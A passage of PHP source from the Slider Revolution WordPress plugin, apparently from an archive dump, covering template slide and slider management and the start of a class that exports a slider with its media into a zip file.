* @param int $slide_id * @param string $slide_title * @param array $slide_settings */ public function copy_slide_to_templates($slide_id, $slide_title, $slide_settings = array()){ global $wpdb; if(intval($slide_id) == 0) return false; $slide_title = sanitize_text_field($slide_title); if(strlen(trim($slide_title)) < 3) return false; $duplicate = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE id = %s", $slide_id), ARRAY_A); if(empty($duplicate)) return false; unset($duplicate['id']); $duplicate['slider_id'] = -1; //-1 sets it to be a template $duplicate['slide_order'] = -1; $params = json_decode($duplicate['params'], true); $settings = json_decode($duplicate['settings'], true); $params['title'] = $slide_title; if(!isset($params['publish'])) $params['publish'] = array(); $params['publish']['state'] = 'published'; if(isset($slide_settings['width'])) $settings['width'] = intval($slide_settings['width']); if(isset($slide_settings['height'])) $settings['height'] = intval($slide_settings['height']); $duplicate['params'] = json_encode($params); $duplicate['settings'] = json_encode($settings); $response = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $duplicate); return ($response) ? true : false; } /** * Get all Template Slides * @since: 5.0 * @before: RevSliderTemplate::getTemplateSlides(); */ public function get_template_slides(){ global $wpdb; $templates = $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", -1), ARRAY_A); //add default Template Slides here! $default = $this->get_default_template_slides(); $templates = array_merge($templates, $default); if(!empty($templates)){ foreach($templates as $key => $template){ $templates[$key]['params'] = json_decode($template['params'], true); //$templates[$key]['layers'] = json_decode($template['layers'], true); $templates[$key]['settings'] = json_decode($template['settings'], true); } } return $templates; } /** * Add default Template Slides that can't be deleted for example. Authors can add their own Slides here through Filter * @since: 5.0 * @before: RevSliderTemplate::getDefaultTemplateSlides(); */ private function get_default_template_slides(){ $templates = array(); $templates = apply_filters('revslider_set_template_slides', $templates); return $templates; } /** * get default ThemePunch default Slides * @since: 5.0 * @before: RevSliderTemplate::getThemePunchTemplateSlides() * @param bool $sliders */ public function get_tp_template_slides($sliders = false){ global $wpdb; $templates = array(); if($sliders == false){ $sliders = $this->get_tp_template_sliders(); } if(!empty($sliders)){ foreach($sliders as $slider){ $slides = $this->get_tp_template_default_slides($slider['alias']); $installed = false; if($this->get_val($slider, 'installed', false) !== false){ $cur_slides = $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", $slider['installed']), ARRAY_A); $installed = true; }else{ $cur_slides = $slides; } if(!empty($cur_slides)){ $i = 1; foreach($cur_slides as $key => $tmpl){ if(isset($slides[$key]) && !empty($slides[$key]['img'])) $cur_slides[$key]['img'] = $this->_check_file_path($slides[$key]['img'], true, false); if($this->get_val($tmpl, 'title', false) === false) $cur_slides[$key]['title'] = 'Slide '.$i; $cur_slides[$key]['uid'] = $this->get_val($slider, 'uid'); $cur_slides[$key]['parent'] = $this->get_val($slider, 'id'); if($installed){ $cur_slides[$key]['installed'] = $this->get_val($tmpl, 'id'); } //addon requirements $cur_slides[$key]['plugin_require'] = $this->get_val($slider, 'plugin_require', array()); $i++; } } $templates = array_merge($templates, $cur_slides); } } if(!empty($templates)){ foreach($templates as $key => $template){ if($this->get_val($template, 'installed', false) !== false){ $template['params'] = $this->get_val($template, 'params', ''); $template['layers'] = $this->get_val($template, 'layers', ''); $template['settings'] = $this->get_val($template, 'settings', ''); $templates[$key]['params'] = json_decode($template['params'], true); //$templates[$key]['layers'] = json_decode($template['layers'], true); $templates[$key]['settings'] = json_decode($template['settings'], true); //add missing uid and zipname } //$templates[$key]['slider_id'] = json_decode($template['settings'], true); } } return $templates; } /** * get default ThemePunch default Slides * @since: 5.0 * @before: RevSliderTemplate::getThemePunchTemplateDefaultSlides() */ public function get_tp_template_default_slides($slider_alias){ $templates = get_option('rs-templates', false); $templates = $this->do_uncompress($templates); $slides = (is_array($templates) && isset($templates['slides']) && !empty($templates['slides'])) ? $templates['slides'] : array(); return (isset($slides[$slider_alias])) ? $slides[$slider_alias] : array(); } /** * Get default Template Sliders * @since: 5.0 * @before: RevSliderTemplate::getDefaultTemplateSliders(); */ public function get_default_template_sliders(){ global $wpdb; //add themepunch default Sliders here $check = $wpdb->get_results("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE type = 'template'", ARRAY_A); $sliders = apply_filters('revslider_set_template_sliders', array()); /** * Example $sliders['Slider Pack Name'] = array( array('title' => 'PJ Slider 1', 'alias' => 'pjslider1', 'width' => 1400, 'height' => 868, 'zip' => 'exwebproduct.zip', 'uid' => 'bde6d50c2f73f8086708878cf227c82b', 'installed' => false, 'img' => RS_PLUGIN_URL .'admin/assets/imports/exwebproduct.jpg'), array('title' => 'PJ Classic Slider', 'alias' => 'pjclassicslider', 'width' => 1240, 'height' => 600, 'zip' => 'classicslider.zip', 'uid' => 'a0d6a9248c9066b404ba0f1cdadc5cf2', 'installed' => false, 'img' => RS_PLUGIN_URL .'admin/assets/imports/classicslider.jpg') ); **/ if(!empty($check) && !empty($sliders)){ foreach($sliders as $key => $the_sliders){ foreach($the_sliders as $skey => $slider){ foreach($check as $ikey => $installed){ if($installed['alias'] == $slider['alias']){ //.'-template' $img = $this->get_val($slider, 'img'); $sliders[$key][$skey] = $installed; $sliders[$key][$skey]['img'] = $this->_check_file_path($img, true, false); $sliders[$key]['version'] = $this->get_val($slider, 'version', ''); if(isset($slider['is_new'])) $sliders[$key]['is_new'] = true; $preview = (isset($slider['preview'])) ? $slider['preview'] : false; if($preview !== false) $sliders[$key]['preview'] = $preview; break; } } } } } if(!empty($sliders)){ foreach($sliders as $dk => $slider){ $sliders[$dk]['plugin_require'] = json_decode($sliders[$dk]['plugin_require'], true); $tags = $sliders[$dk]['filter']; $tags[] = $sliders[$dk]['cat']; $sliders[$dk]['tags'] = $tags; if(!isset($sliders[$dk]['setup_notes'])){ $sliders[$dk]['setup_notes'] = 'Checkout our Documentation for basic Slider Revolution help.'; } unset($sliders[$dk]['filter']); unset($sliders[$dk]['cat']); } } return $sliders; } /** * get default ThemePunch default Sliders * @since: 5.0 * @before: RevSliderTemplate::getThemePunchTemplateSliders() * */ public function get_tp_template_sliders($uid = false){ global $wpdb; $plugin_list = array(); //add themepunch default Sliders here $sliders = $wpdb->get_results("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE type = 'template'", ARRAY_A); $defaults = get_option('rs-templates', false); $defaults = $this->do_uncompress($defaults); $defaults = $this->get_val($defaults, 'slider', array()); if(!empty($sliders) && !empty($defaults)){ foreach($defaults as $key => $slider){ if($uid !== false && $uid !== $this->get_val($slider, 'uid')){ unset($defaults[$key]); continue; } foreach($sliders as $ikey => $installed){ if($installed['alias'] == $slider['alias']){ //.'-template' //check if $sliders has slides, if not, set for redownload by deleting Template Slider in table $c_slides = $this->get_tp_template_slides(array($installed)); if(empty($c_slides)){ //delete slider in table $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('type' => 'template', 'id' => $installed['id'])); break; } $preview = $this->get_val($slider, 'preview', false); $id = $this->get_val($installed, 'id'); unset($installed['id']); $defaults[$key] = array_merge($defaults[$key], $installed); $defaults[$key]['installed'] = $id; $defaults[$key]['img'] = $this->_check_file_path($slider['img'], true, false); $defaults[$key]['version'] = $slider['version']; $defaults[$key]['cat'] = $slider['cat']; $defaults[$key]['filter'] = $slider['filter']; if(isset($slider['is_new'])){ $defaults[$key]['is_new'] = true; $defaults[$key]['width'] = $slider['width']; $defaults[$key]['height'] = $slider['height']; } $defaults[$key]['zip'] = $slider['zip']; $defaults[$key]['uid'] = $slider['uid']; if(isset($slider['new_slider'])) $defaults[$key]['new_slider'] = $slider['new_slider']; if($preview !== false) $defaults[$key]['preview'] = $preview; break; } } } foreach($defaults as $dk => $di){ //check here if package parent needs to be set to installed, as all others if(isset($di['package_parent']) && $di['package_parent'] == 'true'){ $full_installed = true; foreach($defaults as $k => $ps){ if($dk !== $k && isset($ps['package_id']) && $ps['package_id'] === $di['package_id']){ //ignore comparing of the same, as it can never be installed //if($this->get_val($ps, 'installed') !== false){ if($this->get_val($ps, 'installed') === false){ $full_installed = false; break; } } } if($full_installed){ $defaults[$dk]['installed'] = true; } } } } if(!empty($defaults)){ $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite'); foreach($defaults as $dk => $default){ if($uid !== false && $uid !== $this->get_val($default, 'uid')){ unset($defaults[$dk]); continue; } $defaults[$dk]['plugin_require'] = json_decode($defaults[$dk]['plugin_require'], true); if(!empty($defaults[$dk]['plugin_require'])){ foreach($defaults[$dk]['plugin_require'] as $pr => $plugin){ $path = $this->get_val($plugin, 'path'); if(!isset($plugin_list[$path])){ $plugin_list[$path] = (is_plugin_active(esc_attr($path))) ? true : false; } $defaults[$dk]['plugin_require'][$pr]['installed'] = ($plugin_list[$path] === true) ? true : false; } } $tags = $defaults[$dk]['filter']; $tags[] = $defaults[$dk]['cat']; $defaults[$dk]['tags'] = $tags; unset($defaults[$dk]['filter']); unset($defaults[$dk]['cat']); if(!isset($defaults[$dk]['setup_notes'])){ $defaults[$dk]['setup_notes'] = 'Checkout our Documentation for basic Slider Revolution help.'; } $id = $this->get_val($default, 'id', 0); $defaults[$dk]['favorite'] = $favorite->is_favorite('moduletemplates', $id); } } krsort($defaults); return $defaults; } /** * get the template sliders for the get_full_library function * @since: 6.0 */ public function get_tp_template_sliders_for_library($leave_counter = false){ $templates = $this->get_tp_template_sliders(); if(!empty($templates)){ foreach($templates as $k => $t){ if(isset($templates[$k]['params'])) unset($templates[$k]['params']); } } if(!$this->_truefalse($leave_counter)){ update_option('rs-templates-counter', 0, false); //reset the counter } return $templates; } /** * get the template slides for the get_full_library function * @since: 6.0 */ public function get_tp_template_slides_for_library($tmp_slide_uid){ $tmp_slide_uid = (array)$tmp_slide_uid; if(!empty($tmp_slide_uid)){ $templates = array(); foreach($tmp_slide_uid as $tmp_uid){ $templates = $this->get_tp_template_sliders($tmp_uid); } }else{ $templates = $this->get_tp_template_sliders(); } $templates_slides = $this->get_tp_template_slides($templates); if(!empty($templates_slides)){ foreach($templates_slides as $t_k => $t_slide){ if(isset($t_slide['params'])) unset($templates_slides[$t_k]['params']); if(isset($t_slide['layers'])) unset($templates_slides[$t_k]['layers']); if(isset($t_slide['settings'])) unset($templates_slides[$t_k]['settings']); } } return $templates_slides; } /** * check if image was uploaded, if yes, return path or url * @since: 5.0.5 */ public function _check_file_path($image, $url = false, $download = true){ $upload_dir = wp_upload_dir(); // Set upload folder $file = $upload_dir['basedir'] . $this->templates_path . '/' . $image; if(file_exists($file)){ //downloaded image first, for update reasons $image = ($url) ? $upload_dir['baseurl'] . $this->templates_path . '/' . $image : $upload_dir['basedir'] . $this->templates_path . '/' . $image; //server path }elseif($download === true){ //redownload image from server and store it $this->_update_images($image); if(file_exists($file)){ //downloaded image first, for update reasons $image = ($url) ? $upload_dir['baseurl'] . $this->templates_path . '/' . $image : $upload_dir['basedir'] . $this->templates_path . '/' . $image; //server path } } return $image; } /** * Get all uids from a certain package, by one uid * @since: 5.2.5 */ public function get_package_uids($uid, $sliders = false){ if($sliders == false){ $sliders = $this->get_tp_template_sliders(); } $uids = array(); $package = false; foreach($sliders as $slider){ if($slider['uid'] == $uid){ if(isset($slider['package'])){ $package = $slider['package']; } break; } } if($package !== false){ $i = 0; $tuids = array(); foreach($sliders as $slider){ if(isset($slider['package']) && $slider['package'] == $package){ if(isset($slider['package_parent']) && $slider['package_parent'] == 'true') continue; //dont install parent package if($this->get_val($slider, 'installed') !== false){ //add an invalid slider id as we have not yet installed it $i--; $sid = $i; }else{ //add the installed slider id, as we have the template installed already $sid = $slider['id']; } $order = (isset($slider['package_order'])) ? $slider['package_order'] : 0; $tuids[] = array( 'uid' => $slider['uid'], 'sid' => $sid, 'order' => $order ); } } } if(!empty($tuids)){ usort($tuids, array($this, 'sort_by_order')); foreach($tuids as $uid){ $uids[$uid['sid']] = $uid['uid']; } } return $uids; } /** * check if Slider Template was already imported. If yes, remove the old Slider Template as we now do an "update" (in reality we delete and insert again) */ public function remove_old_template($uid){ //get all template sliders $templates = $this->get_tp_template_sliders(); foreach($templates as $tslider){ if($this->get_val($tslider, 'uid') == $uid){ if($this->get_val($tslider, 'installed', false) !== false){ //slider is installed //delete template Slider! $mSlider = new RevSliderSlider(); $mSlider->init_by_id($tslider['installed']); $mSlider->delete_slider(); //remove the update flag from the slider $this->remove_is_new($uid); } break; } } } public function sort_by_order($a, $b) { return $a['order'] - $b['order']; } /** * check if all Slider of a certain package is installed, do this with the uid of a slider * @since: 5.2.5 */ public function check_package_all_installed($uid, $sliders = false){ $uids = $this->get_package_uids($uid, $sliders); foreach($uids as $sid => $uid){ if($sid < 0) return false; } return true; } /** * Check if Curl can be used */ public function check_curl_connection(){ if($this->curl_check !== null) return $this->curl_check; $curl = new WP_Http_Curl(); $this->curl_check = $curl->test(); return $this->curl_check; } /** * get the template existing categories, merging filter and cat **/ public function get_template_categories(){ $cat = array(); $defaults = get_option('rs-templates', false); $defaults = $this->do_uncompress($defaults); $defaults = $this->get_val($defaults, 'slider', array()); if(!empty($defaults)){ foreach($defaults as $def){ $d_cat = $this->get_val($def, 'cat', ''); $d_filter = $this->get_val($def, 'filter', array()); if(trim($d_cat) !== '' && !isset($cat[$d_cat])) $cat[$d_cat] = ucfirst($d_cat); if(!empty($d_filter)){ foreach($d_filter as $filter){ if(trim($filter) !== '' && !isset($cat[$filter])) $cat[$filter] = ucfirst($filter); } } } } return $cat; } /** * get the slide thumbnail **/ public function get_slide_image_by_uid($uid, $slidenumber){ $defaults = get_option('rs-templates', false); $defaults = (!is_array($defaults)) ? json_decode($defaults, true) : $defaults; $sliders = $this->get_val($defaults, 'slider', array()); $slides = $this->get_val($defaults, 'slides', array()); $image = false; foreach($sliders as $slider){ if($this->get_val($slider, 'uid') != $uid) continue; $alias = $this->get_val($slider, 'alias'); $slide = $this->get_val($slides, $alias, array()); if(!empty($slide)){ $sl = $this->get_val($slide, $slidenumber, array()); $image = $this->get_val($sl, 'img'); } break; } return ($image !== false) ? $this->_check_file_path($image, true, true) : $image; } /** * get the slide thumbnail **/ public function get_slider_id_by_uid($uid){ $templates = $this->get_tp_template_sliders(); $slider_id = 0; foreach($templates as $template){ if($this->get_val($template, 'uid') == $uid){ $slider_id = $this->get_val($template, 'installed'); $slider_id = intval($slider_id); break; } } return $slider_id; } /** * clears the uid to make sure no illegal characters are in it **/ public function clear_uid($uid){ return preg_replace("/[^a-zA-Z0-9\s]/", '', $uid); } }admin/includes/export.class.php000060400000070455151724235750012622 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderSliderExport extends RevSliderSlider { private $used_captions; private $used_animations; private $used_images; private $used_svg; private $used_videos; private $used_navigations; private $slider_id; private $slider_title; public $slider_alias; private $slider_params; private $slider_settings; private $export_slides; private $static_slide; private $all_slides; private $export_data; private $navigation_data; private $style_data; private $animations_data; public $usepcl; public $zip; public $export_path_zip; public $export_url_zip; public $pclzip; public function __construct($title = 'export'){ $this->used_captions = array(); $this->used_animations = array(); $this->used_images = array(); $this->used_svg = array(); $this->used_videos = array(); $this->used_navigations = array(); $this->all_slides = array(); $this->navigation_data = false; $this->style_data = ''; $this->animations_data = ''; $this->usepcl = false; $wp_upload_dir = wp_upload_dir(); $this->export_path_zip = $this->get_val($wp_upload_dir, 'basedir').'/'.$title.'.zip'; $this->export_url_zip = $this->get_val($wp_upload_dir, 'baseurl').'/'.$title.'.zip'; } /** * return the used images, for SEO */ public function get_used_images(){ return $this->used_images; } /** * export slider from data, output a file for download * @before: RevSliderSlider::exportSlider(); */ public function export_slider($id = 0){ //slider needs to be initialized :) if($id > 0){ $this->init_by_id($id); } //check if an update is needed if(version_compare($this->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){ $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($this); $this->init_by_id($id); } $this->set_parameters(); $this->remove_image_ids(); $this->remove_background_image(); $this->add_used_images(); $this->add_used_videos(); //$this->add_used_captions(); //$this->add_used_animations(); $this->add_used_navigations(); $this->add_used_svg(); $this->modify_used_data(); $this->serialize_export_data(); $this->serialize_navigation_data(); $this->prepare_caption_css(); $this->serialize_animation_data(); $this->create_export_zip(); $this->add_svg_to_zip(); $this->add_images_videos_to_zip(); $this->add_slider_export_to_zip(); $this->add_animations_to_zip(); $this->add_styles_to_zip(); $this->add_navigation_to_zip(); $this->add_static_styles_to_zip(); $this->add_info_to_zip(); $this->close_export_zip(); $this->push_zip_to_client(); $this->delete_export_zip(); exit; } /** * set slides and slider parameters **/ public function set_parameters(){ $this->slider_id = $this->get_id(); $this->slider_title = $this->get_title(); $this->slider_alias = $this->get_alias(); $this->slider_params = $this->get_params(); $this->slider_settings = $this->get_settings(); $this->export_slides = $this->get_slides_for_export(); $this->static_slide = $this->get_static_slide_for_export(); if(!empty($this->export_slides) && count($this->export_slides) > 0) $this->all_slides = array_merge($this->all_slides, $this->export_slides); if(!empty($this->static_slide) && count($this->static_slide) > 0) $this->all_slides = array_merge($this->all_slides, $this->static_slide); } /** * remove the image_id as its not needed in export **/ public function remove_image_ids(){ if($this->get_val($this->slider_params, array('troubleshooting', 'alternateURLId'), false) !== false){ unset($this->slider_params['troubleshooting']['alternateURLId']); } if(!empty($this->export_slides)){ foreach($this->export_slides as $k => $s){ if($this->get_val($this->export_slides[$k], array('params', 'bg', 'imageId'), false) !== false){ unset($this->export_slides[$k]['params']['bg']['imageId']); } /*if($this->get_val($this->export_slides[$k], array('params', 'bg', 'videoId'), false) !== false){ //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not unset($this->export_slides[$k]['params']['bg']['videoId']); }*/ if($this->get_val($this->export_slides[$k], array('params', 'thumb', 'customThumbSrcId'), false) !== false){ unset($this->export_slides[$k]['params']['thumb']['customThumbSrcId']); } if($this->get_val($this->export_slides[$k], array('params', 'thumb', 'customAdminThumbSrcId'), false) !== false){ unset($this->export_slides[$k]['params']['thumb']['customAdminThumbSrcId']); } if($this->get_val($this->export_slides[$k], array('params', 'bg', 'lastLoadedImage'), false) !== false){ unset($this->export_slides[$k]['params']['bg']['lastLoadedImage']); } } } if(!empty($this->static_slide)){ foreach($this->static_slide as $k => $s){ if($this->get_val($this->static_slide[$k], array('params', 'bg', 'imageId'), false) !== false){ unset($this->static_slide[$k]['params']['bg']['imageId']); } /*if($this->get_val($this->static_slide[$k], array('params', 'bg', 'videoId'), false) !== false){ //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not unset($this->static_slide[$k]['params']['bg']['videoId']); }*/ if($this->get_val($this->static_slide[$k], array('params', 'thumb', 'customThumbSrcId'), false) !== false){ unset($this->static_slide[$k]['params']['thumb']['customThumbSrcId']); } if($this->get_val($this->static_slide[$k], array('params', 'thumb', 'customAdminThumbSrcId'), false) !== false){ unset($this->static_slide[$k]['params']['thumb']['customAdminThumbSrcId']); } if($this->get_val($this->static_slide[$k], array('params', 'bg', 'lastLoadedImage'), false) !== false){ unset($this->static_slide[$k]['params']['bg']['lastLoadedImage']); } } } } /** * remove the background image on transparent or solid colored slides **/ public function remove_background_image(){ if(!empty($this->export_slides)){ foreach($this->export_slides as $k => $s){ if(isset($this->export_slides[$k]['params']) && (in_array($this->get_val($this->export_slides[$k]['params'], array('bg', 'type')), array('solid', 'trans', 'transparent'), true))){ if($this->get_val($this->export_slides[$k]['params'], array('bg', 'image'), false) !== false) $this->export_slides[$k]['params']['layout']['bg']['image'] = ''; } } } if(!empty($this->static_slide)){ foreach($this->static_slide as $k => $s){ if(isset($this->static_slide[$k]['params']) && (in_array($this->get_val($this->static_slide[$k]['params'], array('bg', 'type')), array('solid', 'trans', 'transparent'), true))){ if($this->get_val($this->static_slide[$k]['params'], array('bg', 'image'), false) !== false) $this->static_slide[$k]['params']['bg']['image'] = ''; } } } } /** * add all used images **/ public function add_used_images(){ $image = $this->get_val($this->slider_params, array('layout', 'bg', 'image')); $a_url = $this->get_val($this->slider_params, array('troubleshooting', 'alternateURL')); if($image != '') $this->used_images[$image] = true; if($a_url != '') $this->used_images[$a_url] = true; if(!empty($this->all_slides) && count($this->all_slides) > 0){ foreach($this->all_slides as $key => $slide){ $params = $this->get_val($slide, 'params', array()); $layers = $this->get_val($slide, 'layers', array()); $image = $this->get_val($params, array('bg', 'image')); $thumb = $this->get_val($params, array('thumb', 'customThumbSrc')); $a_thumb = $this->get_val($params, array('thumb', 'customAdminThumbSrc')); if($image != '') $this->used_images[$image] = true; if($thumb != '') $this->used_images[$thumb] = true; if($a_thumb != '') $this->used_images[$a_thumb] = true; if(!empty($layers)){ foreach($layers as $layer){ $type = $this->get_val($layer, 'type', 'text'); $image = $this->get_val($layer, array('media', 'imageUrl')); $bg_image = $this->get_val($layer, array('idle', 'backgroundImage')); if($image != '') $this->used_images[$image] = true; if($bg_image != '') $this->used_images[$bg_image] = true; if(in_array($type, array('video', 'audio'))){ $poster = $this->get_val($layer, array('media', 'posterUrl'), ''); if($poster != '') $this->used_images[$poster] = true; } if($type === 'video'){ $very_big = $this->get_val($layer, array('media', 'thumbs', 'veryBig')); $big = $this->get_val($layer, array('media', 'thumbs', 'big')); $large = $this->get_val($layer, array('media', 'thumbs', 'large')); $medium = $this->get_val($layer, array('media', 'thumbs', 'medium')); $small = $this->get_val($layer, array('media', 'thumbs', 'small')); $very_big = (is_array($very_big) && isset($very_big['url'])) ? $very_big['url'] : $very_big; $big = (is_array($big) && isset($big['url'])) ? $big['url'] : $big; $large = (is_array($large) && isset($large['url'])) ? $large['url'] : $large; $medium = (is_array($medium) && isset($medium['url'])) ? $medium['url'] : $medium; $small = (is_array($small) && isset($small['url'])) ? $small['url'] : $small; if($very_big != '') $this->used_images[$very_big] = true; if($big != '') $this->used_images[$big] = true; if($large != '') $this->used_images[$large] = true; if($medium != '') $this->used_images[$medium] = true; if($small != '') $this->used_images[$small] = true; } } } } } } /** * add all used videos, also removing values if unneeded **/ public function add_used_videos(){ if(!empty($this->all_slides) && count($this->all_slides) > 0){ foreach($this->all_slides as $k => $slide){ $params = $this->get_val($slide, 'params', array()); $layers = $this->get_val($slide, 'layers', array()); $static = $this->get_val($params, array('static', 'isstatic'), false); //html5 video if($this->get_val($params, array('bg', 'type')) == 'html5'){ if($this->get_val($params, array('bg', 'mpeg')) != '') $this->used_videos[$this->get_val($params, array('bg', 'mpeg'))] = true; if($this->get_val($params, array('bg', 'webm')) != '') $this->used_videos[$this->get_val($params, array('bg', 'webm'))] = true; if($this->get_val($params, array('bg', 'ogv')) != '') $this->used_videos[$this->get_val($params, array('bg', 'ogv'))] = true; }else{ if($static){ if($this->get_val($params, array('bg', 'mpeg')) != '') $this->set_val($this->static_slide, array(0, 'params', 'bg', 'mpeg'), ''); if($this->get_val($params, array('bg', 'webm')) != '') $this->set_val($this->static_slide, array(0, 'params', 'bg', 'webm'), ''); if($this->get_val($params, array('bg', 'ogv')) != '') $this->set_val($this->static_slide, array(0, 'params', 'bg', 'ogv'), ''); }else{ if($this->get_val($params, array('bg', 'mpeg')) != '') $this->set_val($this->export_slides, array($k, 'params', 'bg', 'mpeg'), ''); if($this->get_val($params, array('bg', 'webm')) != '') $this->set_val($this->export_slides, array($k, 'params', 'bg', 'webm'), ''); if($this->get_val($params, array('bg', 'ogv')) != '') $this->set_val($this->export_slides, array($k, 'params', 'bg', 'ogv'), ''); } } //image thumbnail if(!empty($layers)){ foreach($layers as $lk => $layer){ if(in_array($this->get_val($layer, 'type'), array('video', 'audio'))){ if($this->get_val($layer, array('media', 'mediaType')) == 'html5'){ if($this->get_val($layer, array('media', 'mp4Url'), '') != '') $this->used_videos[$this->get_val($layer, array('media', 'mp4Url'), '')] = true; if($this->get_val($layer, array('media', 'webmUrl'), '') != '') $this->used_videos[$this->get_val($layer, array('media', 'webmUrl'), '')] = true; if($this->get_val($layer, array('media', 'ogvUrl'), '') != '') $this->used_videos[$this->get_val($layer, array('media', 'ogvUrl'), '')] = true; }else{ //if(!in_array($this->get_val($layer, array('media', 'mediaType')), array('html5', 'audio'))) if($this->get_val($layer, array('media', 'audioUrl')) != '') $this->used_videos[$this->get_val($layer, array('media', 'audioUrl'))] = true; $this->set_val($layer, array('media', 'mp4Url'), ''); $this->set_val($layer, array('media', 'webmUrl'), ''); $this->set_val($layer, array('media', 'ogvUrl'), ''); } if($static){ $this->static_slide[0]['layers'][$lk] = $layer; }else{ $this->export_slides[$k]['layers'][$lk] = $layer; } } } } } } } /** * add all used captions * @obsolete since: 6.0 **/ public function add_used_captions(){ if(!empty($this->all_slides) && count($this->all_slides) > 0){ foreach($this->all_slides as $key => $slide){ $layers = $this->get_val($slide, 'layers', array()); if(!empty($layers)){ foreach($layers as $lk => $layer){ if($this->get_val($layer, array('idle', 'style')) != '') $this->used_captions[$this->get_val($layer, array('idle', 'style'))] = true; } } } } } /** * add all used animations * @obsolete since: 6.0 **/ public function add_used_animations(){ if(!empty($this->all_slides) && count($this->all_slides) > 0){ foreach($this->all_slides as $key => $slide){ $layers = $this->get_val($slide, 'layers', array()); if(!empty($layers)){ foreach($layers as $lk => $layer){ if(strpos($this->get_val($layer, 'animation'), 'customin') !== false) $this->used_animations[str_replace('customin-', '', $this->get_val($layer, 'animation'))] = true; if(strpos($this->get_val($layer, 'endanimation'), 'customout') !== false) $this->used_animations[str_replace('customout-', '', $this->get_val($layer, 'endanimation'))] = true; } } } } } /** * add navigations if not default animation **/ public function add_used_navigations(){ $nav = new RevSliderNavigation(); $navigations = $nav->get_all_navigations(false, true); $arrows = $this->get_val($this->slider_params, array('nav', 'arrows', 'style'), false); $bullets = $this->get_val($this->slider_params, array('nav', 'bullets', 'style'), false); $thumbs = $this->get_val($this->slider_params, array('nav', 'thumbs', 'style'), false); $tabs = $this->get_val($this->slider_params, array('nav', 'tabs', 'style'), false); if($arrows !== false) $this->used_navigations[$arrows] = true; if($bullets !== false) $this->used_navigations[$bullets] = true; if($thumbs !== false) $this->used_navigations[$thumbs] = true; if($tabs !== false) $this->used_navigations[$tabs] = true; } /** * add all used svg **/ public function add_used_svg(){ if(!empty($this->all_slides) && count($this->all_slides) > 0){ foreach($this->all_slides as $key => $slide){ $layers = $this->get_val($slide, 'layers'); if(!empty($layers)){ foreach($layers as $lk => $layer){ if($this->get_val($layer, 'type') == 'svg'){ $svg = $this->get_val($layer, array('svg', 'source')); if($svg !== ''){ $this->used_svg[$svg] = true; } } } } } } } /** * modify the used stuff data **/ public function modify_used_data(){ $d = array('used_svg' => $this->used_svg, 'used_images' => $this->used_images, 'used_videos' => $this->used_videos); $d = apply_filters('revslider_exportSlider_usedMedia', $d, $this->all_slides, $this->slider_params); //$this->export_slides, $this->static_slide, $this->used_svg = $d['used_svg']; $this->used_images = $d['used_images']; $this->used_videos = $d['used_videos']; } /** * serialize the export data **/ public function serialize_export_data(){ $data = array( 'id' => $this->slider_id, 'title' => $this->slider_title, 'alias' => $this->slider_alias, 'params' => $this->slider_params, 'slides' => $this->export_slides, 'settings' => $this->slider_settings ); if(!empty($this->static_slide)) $data['static_slides'] = $this->static_slide; $data = apply_filters('revslider_exportSlider_export_data', $data, $this); $this->export_data = json_encode($data); } /** * serialize the navigation data **/ public function serialize_navigation_data(){ if(!empty($this->used_navigations)){ $nav = new RevSliderNavigation(); $this->navigation_data = $nav->export_navigation($this->used_navigations); if($this->navigation_data !== false) $this->navigation_data = json_encode($this->navigation_data); } } /** * prepare the css for export **/ public function prepare_caption_css(){ if(!empty($this->used_captions)){ $captions = array(); foreach($this->used_captions as $class => $val){ $caption = $this->get_captions_content($class); if(!empty($caption)){ unset($caption['id']); $captions[] = $caption; } } $this->style_data = json_encode($captions); } } /** * serialize the animation data **/ public function serialize_animation_data(){ if(!empty($this->used_animations)){ $animations = array(); foreach($this->used_animations as $anim => $val){ $animation = $this->get_custom_animation_by_id($anim); if($animation !== false) $animations[] = $animation; } if(!empty($animations)) $this->animations_data = json_encode($animations); } } /** * get animation params by id * @before: RevSliderOperations::getFullCustomAnimationByID() */ public function get_custom_animation_by_id($id){ global $revslider_animations; $this->fill_animations(); if(empty($revslider_animations)) return false; foreach($revslider_animations as $animation){ if($animation['id'] == $id){ return array( 'id' => $animation['id'], 'handle' => $animation['handle'], 'params' => $animation['params'], 'settings' => $animation['settings'] ); } } return false; } /** * create the blank zip file to be used further on **/ public function create_export_zip(){ $this->usepcl = false; if(file_exists($this->export_path_zip)){ @unlink($this->export_path_zip); //delete file to start with a fresh one } if(class_exists('ZipArchive')){ $this->zip = new ZipArchive; $success = $this->zip->open($this->export_path_zip, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); if($success !== true) $this->throw_error(__("Can't create zip file: ", 'revslider').$this->export_path_zip); }else{ //fallback to pclzip require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php'); $this->pclzip = new PclZip($this->export_path_zip); //either the function uses die() or all is cool $this->usepcl = true; } } /** * add svg to the zip file, by modifying data in $export_data **/ public function add_svg_to_zip(){ if(empty($this->used_svg)) return; $c_url = str_replace(array('http:', 'https:'), '', content_url()); $c_path = ABSPATH . 'wp-content'; $ud = wp_upload_dir(); $up_dir = $this->get_val($ud, 'baseurl'); $up_dir = str_replace(array('http:', 'https:'), '', $up_dir); $cont_url = str_replace(array('http:', 'https:'), '', $this->get_val($ud, 'baseurl')); $cont_url_no_www = str_replace('www.', '', $cont_url); foreach($this->used_svg as $file => $val){ if(strpos($file, 'http') !== false){ //remove all up to wp-content folder $file = str_replace(array('http:', 'https:'), '', $file); $_checkpath = str_replace(array($cont_url.'/', 